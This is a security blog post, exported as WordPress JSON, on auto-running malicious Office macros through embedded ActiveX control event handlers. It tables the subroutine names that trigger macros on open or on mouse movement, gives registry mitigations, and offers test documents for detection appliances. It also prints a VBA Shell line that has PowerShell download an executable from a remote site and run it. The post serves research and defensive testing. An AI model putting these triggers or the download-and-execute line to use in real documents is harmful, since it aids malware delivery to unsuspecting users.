{"id":948,"date":"2016-09-29T16:21:32","date_gmt":"2016-09-29T15:21:32","guid":{"rendered":"http:\/\/www.greyhathacker.net\/?p=948"},"modified":"2016-09-30T22:37:47","modified_gmt":"2016-09-30T21:37:47","slug":"running-macros-via-activex-controls","status":"publish","type":"post","link":"https:\/\/www.greyhathacker.net\/?p=948","title":{"rendered":"Running Macros via ActiveX Controls"},"content":{"rendered":"<p>A couple of months ago I encountered a malicious macro Word document and after analysing it, it was found to be using a new vector to execute the macro. I&#8217;m not sure if this method had ever been used before but it was using macros with an embedded ActiveX control object in the document.<\/p>\n<p>Most malicious Word documents use the usual reserved names such as AutoOpen() and Document_Open() to automatically run macros. This document in question was using a subroutine name of InkPicture1_Painted() to execute code once the ActiveX control got enabled. This routine comes from an ActiveX control \u201cMicrosoft InkPicture Control\u201d embedded in the document.<\/p>\n<p><strong>ActiveX Controls for malicious use<\/strong><br \/>\nIf we wanted to embed ActiveX control in a document it is pretty straightforward to do. Once the developer tab is enabled (File &#8211; Options &#8211; Customize Ribbon) go to the developer tab and Controls section on the ribbon. A huge list of controls is given which could be used to embed in the document.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"\/images\/inkpicturecontrol.png\" alt=\"\" width=\"598\" height=\"544\" \/><\/p>\n<p>Each control gives the option to add macros to its procedures<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/inkpicturemacro.png\" alt=\"\" width=\"760\" height=\"540\" \/><\/p>\n<p>We can see below that there are dozens of procedures that could be used<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/inkpictureprocedures.png\" alt=\"\" width=\"760\" height=\"540\" \/><\/p>\n<p>After testing each ActiveX control object and all its procedures a large number of procedures were able to automatically run macros. Not all controls can be embedded into the document but majority can be and are listed in the table below.<\/p>\n<table style=\"height: 631px;\" width=\"634\">\n<tbody>\n<tr>\n<td width=\"352\"><strong>ActiveX Control<\/strong><\/td>\n<td width=\"270\"><strong>Subroutine name<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"352\">Microsoft Forms 2.0 Frame<\/td>\n<td width=\"270\">Frame1_Layout<\/td>\n<\/tr>\n<tr>\n<td width=\"352\">Microsoft Forms 2.0 MultiPage<\/td>\n<td width=\"270\">MultiPage1_Layout<\/td>\n<\/tr>\n<tr>\n<td width=\"352\">Microsoft ImageComboBox Control, version 6.0<\/td>\n<td width=\"270\">ImageCombo21_Change<\/td>\n<\/tr>\n<tr>\n<td width=\"352\">Microsoft InkEdit Control<\/td>\n<td width=\"270\">InkEdit1_GotFocus<\/td>\n<\/tr>\n<tr>\n<td width=\"352\">Microsoft InkPicture Control<\/td>\n<td width=\"270\">InkPicture1_Painted<br \/>\nInkPicture1_Painting<br \/>\nInkPicture1_Resize<\/td>\n<\/tr>\n<tr>\n<td width=\"352\">System Monitor Control<\/td>\n<td width=\"270\">SystemMonitor1_GotFocus<br \/>\nSystemMonitor1_LostFocus<\/td>\n<\/tr>\n<tr>\n<td width=\"352\">Microsoft Web Browser<\/td>\n<td width=\"270\">WebBrowser1_BeforeNavigate2<br \/>\nWebBrowser1_BeforeScriptExecute<br \/>\nWebBrowser1_DocumentComplete<br \/>\nWebBrowser1_DownloadBegin<br \/>\nWebBrowser1_DownloadComplete<br \/>\nWebBrowser1_FileDownload<br \/>\nWebBrowser1_NavigateComplete2<br \/>\nWebBrowser1_NavigateError<br \/>\nWebBrowser1_ProgressChange<br \/>\nWebBrowser1_PropertyChange<br \/>\nWebBrowser1_SetSecureLockIcon<br \/>\nWebBrowser1_StatusTextChange<br \/>\nWebBrowser1_TitleChange<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The controls listed below when used with these subroutines names has an interesting behaviour in that moving the mouse on top of the embedded object triggers the macro.<\/p>\n<table style=\"height: 844px;\" width=\"633\">\n<tbody>\n<tr>\n<td width=\"338\"><strong>ActiveX Control<\/strong><\/td>\n<td width=\"281\"><strong>Subroutine name<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 Frame<\/td>\n<td width=\"281\">Frame1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 MultiPage<\/td>\n<td width=\"281\">MultiPage1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft InkEdit Control<\/td>\n<td width=\"281\">InkEdit1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft InkPicture Control<\/td>\n<td width=\"281\">InkPicture1_MouseMove<br \/>\nInkPicture1_MouseHover<br \/>\nInkPicture1_MouseEnter<br \/>\nInkPicture1_MouseLeave<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 CheckBox<\/td>\n<td width=\"281\">CheckBox1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 ComboBox<\/td>\n<td width=\"281\">ComboBox1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 CommandButton<\/td>\n<td width=\"281\">CommandButton1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 Image<\/td>\n<td width=\"281\">Image1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 Label<\/td>\n<td width=\"281\">Label1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 ListBox<\/td>\n<td width=\"281\">ListBox1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 OptionButton<\/td>\n<td width=\"281\">OptionButton1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 TabStrip<\/td>\n<td width=\"281\">TabStrip1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 TextBox<\/td>\n<td width=\"281\">TextBox1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Forms 2.0 Toggle Button<\/td>\n<td width=\"281\">ToggleButton1_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft ListView Control, version 6.0<\/td>\n<td width=\"281\">ListView41_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft ProgressBar Control, version 6.0<\/td>\n<td width=\"281\">ProgressBar21_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Slider Control, version 6.0<\/td>\n<td width=\"281\">Slider21_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft StatusBar Control, version 6.0<\/td>\n<td width=\"281\">StatusBar31_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft TabStrip Control, version 6.0<\/td>\n<td width=\"281\">TabStrip31_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft Toolbar Control, version 6.0<\/td>\n<td width=\"281\">Toolbar31_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">Microsoft TreeView Control, version 6.0<\/td>\n<td width=\"281\">TreeView41_MouseMove<\/td>\n<\/tr>\n<tr>\n<td width=\"338\">MSREdit Class<\/td>\n<td width=\"281\">AMSREdit1_MouseMove<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>There are more ActiveX controls not listed as those need some further action i.e. clicking on the embedded object to trigger the macro. Tested were carried out mainly using Word and Excel of Microsoft Office 2010 x64 on Windows 7.<\/p>\n<p><strong>User Awareness<\/strong><br \/>\nUsers hopefully should know by now that macros are dangerous so even if received they would be prompted by two warning prompts. The first is the usual &#8220;Protected View&#8221; warning when documents are received from the Internet.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/wordprotviewwarning.png\" alt=\"\" width=\"652\" height=\"48\" \/><\/p>\n<p>After enabling editing then the usual macro prompt appears. At this point we hope the user would think before clicking<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/wordmacrowarning.png\" alt=\"\" width=\"658\" height=\"53\" \/><\/p>\n<p>With macros being used with ActiveX controls we do not see the usual macro warning prompt but an ActiveX prompt so users might fall victim to clicking on it.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/wordactivexwarning.png\" alt=\"\" width=\"652\" height=\"47\" \/><\/p>\n<p><strong>Mitigation<\/strong><br \/>\nThere are settings in Microsoft Office to disable ActiveX controls completely if necessary.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/activexdisable.png\" alt=\"\" width=\"684\" height=\"482\" \/><\/p>\n<p>Using the registry settings<\/p>\n<pre>Disable all controls without notification\r\n\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Security]\r\n\"DisableAllActiveX\"=dword:00000001\r\n\r\nPrompt me before enabling UFI controls\r\n\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Security]\r\n\"DisableAllActiveX\"=dword:00000000\r\n\"UFIControls\"=dword:00000004\u00a0 (3 if Safe mode unticked)\r\n\r\nPrompt me before enabling all controls with minimal restrictions\r\n\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Security]\r\n\"DisableAllActiveX\"=dword:00000000\r\n\"UFIControls\"=dword:00000006\u00a0 (5 if Safe mode unticked)\r\n\r\nEnable all controls without restrictions and without prompting\r\n\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Security]\r\n\"DisableAllActiveX\"=dword:00000000\r\n\"UFIControls\"=dword:00000002\u00a0 (1 if Safe mode unticked)<\/pre>\n<p><strong>Testing Threat Detection Appliances<\/strong><br \/>\nYou can download this <a href=\"http:\/\/www.greyhathacker.net\/docs\/activexdocs.zip\" target=\"_blank\">zip<\/a> file (password is &#8220;macros&#8221;) which contains three documents you can use to test your appliances to see how well they score.<\/p>\n<p>document_open_messbox.docm &#8211; This document uses the normal reserved name Document_Open to automatically run macro.<br \/>\ninkedit1_gotfocus_messbox.docm &#8211; This document uses ActiveX &#8220;Microsoft InkEdit Control&#8221; to automatically run macro.<br \/>\ninkedit1_mousemove_messbox.docm &#8211; This document uses ActiveX &#8220;Microsoft InkEdit Control&#8221; to run macro by mouse movement on the page.<\/p>\n<p>The macro contained in the document uses Powershell to download and execute messbox.exe from my site so should flag all three documents as malicious.<\/p>\n<pre>run = Shell(\"cmd.exe \/c PowerShell (New-Object System.Net.WebClient).DownloadFile('http:\/\/www.greyhathacker.net\/tools\/messbox.exe','mess.exe');Start-Process 'mess.exe'\",vbNormalFocus)<\/pre>\n<p>It would be interesting to know which appliances flagged which documents as malicious so do tweet me or add a comment. Thanks all.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A couple of months ago I encountered a malicious macro Word document and after analysing it, it was found to be using a new vector to execute the macro. I&#8217;m not sure if this method had ever been used before but it was using macros with an embedded ActiveX control object in the document. Most [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18,34],"tags":[49,47],"class_list":["post-948","post","type-post","status-publish","format-standard","hentry","category-all","category-other","tag-activex","tag-macros"],"_links":{"self":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/948","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=948"}],"version-history":[{"count":7,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/948\/revisions"}],"predecessor-version":[{"id":955,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/948\/revisions\/955"}],"wp:attachment":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=948"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=948"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=948"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}